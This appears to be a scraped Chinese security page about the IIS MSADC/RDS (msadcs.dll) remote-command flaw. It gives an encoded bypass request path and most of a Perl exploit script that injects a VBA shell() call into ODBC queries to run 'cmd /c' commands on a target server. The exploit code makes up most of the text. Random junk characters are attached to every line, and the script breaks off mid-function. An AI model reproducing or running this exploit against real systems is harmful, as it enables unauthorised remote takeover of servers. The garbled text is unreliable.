IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
+59tX2@Q 4';~@IBf 涉及程序:
a(!_3i@ Microsoft NT server
2&L2G' ~g&FeMo 描述:
-!X,MDO 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
T6
K?Xr{_ aSu6SU 详细:
ifo^
M]v 如果你没有时间读详细内容的话,就删除:
*-KgU'u? c:\Program Files\Common Files\System\Msadc\msadcs.dll
cmw2EHTT< 有关的安全问题就没有了。
VBHDI{HzRv v% mAU3M 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
ze%kP#c6!
`RRC8 ]l 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
#LP38wE 关于利用ODBC远程漏洞的描述,请参看:
KY1(yni&8[ D%tcYI( http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm aT v XynDo^+ru 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
LyEM^d] http://www.microsoft.com/security/bulletins/MS99-025faq.asp @-uV6X8| Pfy2PpA 这里不再论述。
|AY`OVgcKD C26vH#C 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
NGA8JV/U }sbh|# /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
V$D+Joj 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
mM6g-)cV =Gka;,n -pWnO9q #将下面这段保存为txt文件,然后: "perl -x 文件名"
(e:@7W)L O$'BJKj-4 #!perl
?*2DR:o>@ #
v' x)AbbC # MSADC/RDS 'usage' (aka exploit) script
~Y-
!PZ #
X\?PnD`, # by rain.forest.puppy
8M{-RlR #
qs96($ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
.XD.'S # beta test and find errors!
Ch3{q/-g &$\B&Hp@ use Socket; use Getopt::Std;
E?L^L3s getopts("e:vd:h:XR", \%args);
6qCRM *V .@#GNZe print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
'qhi8=* r8o9C if (!defined $args{h} && !defined $args{R}) {
g{t)I0xm print qq~
r&^xg`i[z> Usage: msadc.pl -h <host> { -d <delay> -X -v }
h.A@o#x -h <host> = host you want to scan (ip or domain)
RmR-uQU-c -d <seconds> = delay between calls, default 1 second
\Lp|S:u -X = dump Index Server path table, if available
3LxhQVx2 -v = verbose
>mk} -e = external dictionary file for step 5
})I_@\q Z6.0X{6nA Or a -R will resume a command session
7Wd}H Z k0%*{IVPN ~; exit;}
m|:O:< h($XR+!# $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
3#=%2\ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
17-D\
+} if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
C-vFl[@a0 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
("G
_{tVU $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
/7s^OkQ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
H$M#+EfL <Cbah%X if (!defined $args{R}){ $ret = &has_msadc;
B=4xZJPy die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
COV8=E~ |)"`v'8> print "Please type the NT commandline you want to run (cmd /c assumed):\n"
bO)voJ< . "cmd /c ";
/-in:gX8 $in=<STDIN>; chomp $in;
?9Lp@k~TO $command="cmd /c " . $in ;
P^wDt14> y:C=Ni&," if (defined $args{R}) {&load; exit;}
A/WmVv6 1MntTIT
print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
^)qOILn &try_btcustmr;
EWcqMD]4u x]e&G!| print "\nStep 2: Trying to make our own DSN...";
Bl\/q83( &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
@-L4<=$J 7GY3_` print "\nStep 3: Trying known DSNs...";
Ne 2tfiI` &known_dsn;
*B$$6'hi` 91|0{1 print "\nStep 4: Trying known .mdbs...";
OA_WjTwDs &known_mdb;
'Gr}<B$A3 Q+Sx5JUR~ if (defined $args{e}){
vz\^Aa
#fv print "\nStep 5: Trying dictionary of DSN names...";
OoG Nij &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
BZ '63 6k1;62Ntk print "Sorry Charley...maybe next time?\n";
&d!Q% exit;
a#U2y" T-;|E^ ##############################################################################
GN&-`E]- qs9q{n-Aj sub sendraw { # ripped and modded from whisker
T:~c{S4& sleep($delay); # it's a DoS on the server! At least on mine...
l r16*2. my ($pstr)=@_;
G_5uO58 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
^lI>&I&1 die("Socket problems\n");
}K
rQPg
if(connect(S,pack "SnA4x8",2,80,$target)){
,Q7W))j select(S); $|=1;
bu}N{cW print $pstr; my @in=<S>;
n7CwGN% select(STDOUT); close(S);
WbIf)\ return @in;
^]{)gk8P~2 } else { die("Can't connect...\n"); }}
[]\=(Uc; ?}mbp4+j[ ##############################################################################
q_J)68B R qHU=X"rn sub make_header { # make the HTTP request
{.,-lFb\ my $msadc=<<EOT
2@W'q=+0 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
2.
t'!uwI User-Agent: ACTIVEDATA
)2&U
Rt. Host: $ip
['`Vg=O.{ Content-Length: $clen
h'wI Connection: Keep-Alive
p7Q}xx qm!&(8NfK ADCClientVersion:01.06
?y1G,0, Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
ZQ MK1 p+ki1!Ed --!ADM!ROX!YOUR!WORLD!
.huk>
Content-Type: application/x-varg
@xqjAcfg Content-Length: $reqlen
a7Xa3 vlpO (**k4c, EOT
H
N )@sLPc ; $msadc=~s/\n/\r\n/g;
eHIsTL@Fp return $msadc;}
<k c9KE
zfm-vU ##############################################################################
x%$as; JSCZX:5 sub make_req { # make the RDS request
f@)GiLC'" my ($switch, $p1, $p2)=@_;
]:K[{3iM my $req=""; my $t1, $t2, $query, $dsn;
}O7!>T DJ]GM|? if ($switch==1){ # this is the btcustmr.mdb query
5N5Deb#V $query="Select * from Customers where City=" . make_shell();
#rps2nf.j $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
v}>5!* $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
0v"h/ [VL+X^ elsif ($switch==2){ # this is general make table query
5GHW~q!Zo\ $query="create table AZZ (B int, C varchar(10))";
FN>ns, $dsn="$p1";}
usFhcU 2Nau]y]= elsif ($switch==3){ # this is general exploit table query
ywCF{rRd $query="select * from AZZ where C=" . make_shell();
r ?e''r $dsn="$p1";}
!#b8QER DV6B_A{kI elsif ($switch==4){ # attempt to hork file info from index server
kJfMTfl, $query="select path from scope()";
p10i_<J]= $dsn="Provider=MSIDXS;";}
v"~0 3-SX Y6R+i0guz elsif ($switch==5){ # bad query
:wRaB7 $query="select";
YU(|i}b $dsn="$p1";}
2Jl$/W 3 EPn0ZwnS:M $t1= make_unicode($query);
Ra~|;(
%d $t2= make_unicode($dsn);
Y!0ZwwW $req = "\x02\x00\x03\x00";
)LRso>iOO $req.= "\x08\x00" . pack ("S1", length($t1));
\-2O&v'} $req.= "\x00\x00" . $t1 ;
k O8W> $req.= "\x08\x00" . pack ("S1", length($t2));
\c .^^8r $req.= "\x00\x00" . $t2 ;
;q;}2 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
K7jz*|2 return $req;}
j56Dt_ Bq# l8u ##############################################################################
exfJm'R?n P&2/J%@zG sub make_shell { # this makes the shell() statement
(vXes.|+t return "'|shell(\"$command\")|'";}
y(2FaTjM ;v=v4f'+ ##############################################################################
Gd:fh5u': Q!&@aKl sub make_unicode { # quick little function to convert to unicode
$,&3:ke1 my ($in)=@_; my $out;
h p<NVST for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
K[G=J return $out;}
rO;Vr},3\% .~L^h/)Gjy ##############################################################################
'UN
'gXny 08pG)_L sub rdo_success { # checks for RDO return success (this is kludge)
+o*&JoC my (@in) = @_; my $base=content_start(@in);
~a
RK=i$F if($in[$base]=~/multipart\/mixed/){
9U=~t%qW$ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
C EMe2~ return 0;}
Ga9^+.j 7L"Pe'Hw ##############################################################################
u&7c2|Q JPt0k sub make_dsn { # this makes a DSN for us
x]X!nx6G my @drives=("c","d","e","f");
d7)EzW|I; print "\nMaking DSN: ";
PRpW*#"EI foreach $drive (@drives) {
"^3pP(8;~ print "$drive: ";
qE W3k), my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
:~gG]|F "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
E5EAk6 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
2dpTU=K4 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
8`?vWJS return 0 if $2 eq "404"; # not found/doesn't exist
sm1(I7y if($2 eq "200") {
J-3%.fX, foreach $line (@results) {
)c"m:3D@ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
qyl9#C(a } return 0;}
_w\A=6=q| a{deN9Qn ##############################################################################
=4H"&Eu{ Hb:@]!r> sub verify_exists {
{ :~D my ($page)=@_;
#383W)n
my @results=sendraw("GET $page HTTP/1.0\n\n");
IBY(wx[5S return $results[0];}
hiM nU tPb$ua| ##############################################################################
Eqc,/ kd3vlp sub try_btcustmr {
P!*G"^0< my @drives=("c","d","e","f");
A@I ( &Z my @dirs=("winnt","winnt35","winnt351","win","windows");
yo=0Ov x+V@f~2F foreach $dir (@dirs) {
PE7D)!d
T print "$dir -> "; # fun status so you can see progress
4#c-?mh_ foreach $drive (@drives) {
p\&Lbuzv print "$drive: "; # ditto
(='e9H!3D $reqlen=length( make_req(1,$drive,$dir) ) - 28;
ra[*E4P9L* $reqlenlen=length( "$reqlen" );
#rs]5tx([ $clen= 206 + $reqlenlen + $reqlen;
<JyF5 d4]9oi{} my @results=sendraw(make_header() . make_req(1,$drive,$dir));
kTQvMa-X9D if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
OU /=w pt else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
iXJ3B&x Xu+^41 ##############################################################################
v[UrOT: ~$FgiW sub odbc_error {
UOwEA9q% my (@in)=@_; my $base;
E2Jmo5yJR my $base = content_start(@in);
L=1~)>mP if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
zQNkjQ{mx $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
q(C <w $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]g0h7q)79 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
c@xQ2&i return $in[$base+4].$in[$base+5].$in[$base+6];}
g
AZe&"K print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
%Uz
5Ve print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
c'gV $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Z<2j#rd m+ww ##############################################################################
;
wpX ]?$eBbt sub verbose {
PAUepO_ my ($in)=@_;
-T0@b8 return if !$verbose;
&LD=Zp% print STDOUT "\n$in\n";}
HLYTt)f} }bZcVc2 ##############################################################################
!eH9LRp #F~^m sub save {
~g_]Sskf7 my ($p1, $p2, $p3, $p4)=@_;
&~SPDiu.t open(OUT, ">rds.save") || print "Problem saving parameters...\n";
x%WL!Lo
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
\j$q';9p close OUT;}
p!wx10b TcP
(?v ##############################################################################
>2%*(nL jZ5 mpYUO sub load {
K\2UwX my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
;:/<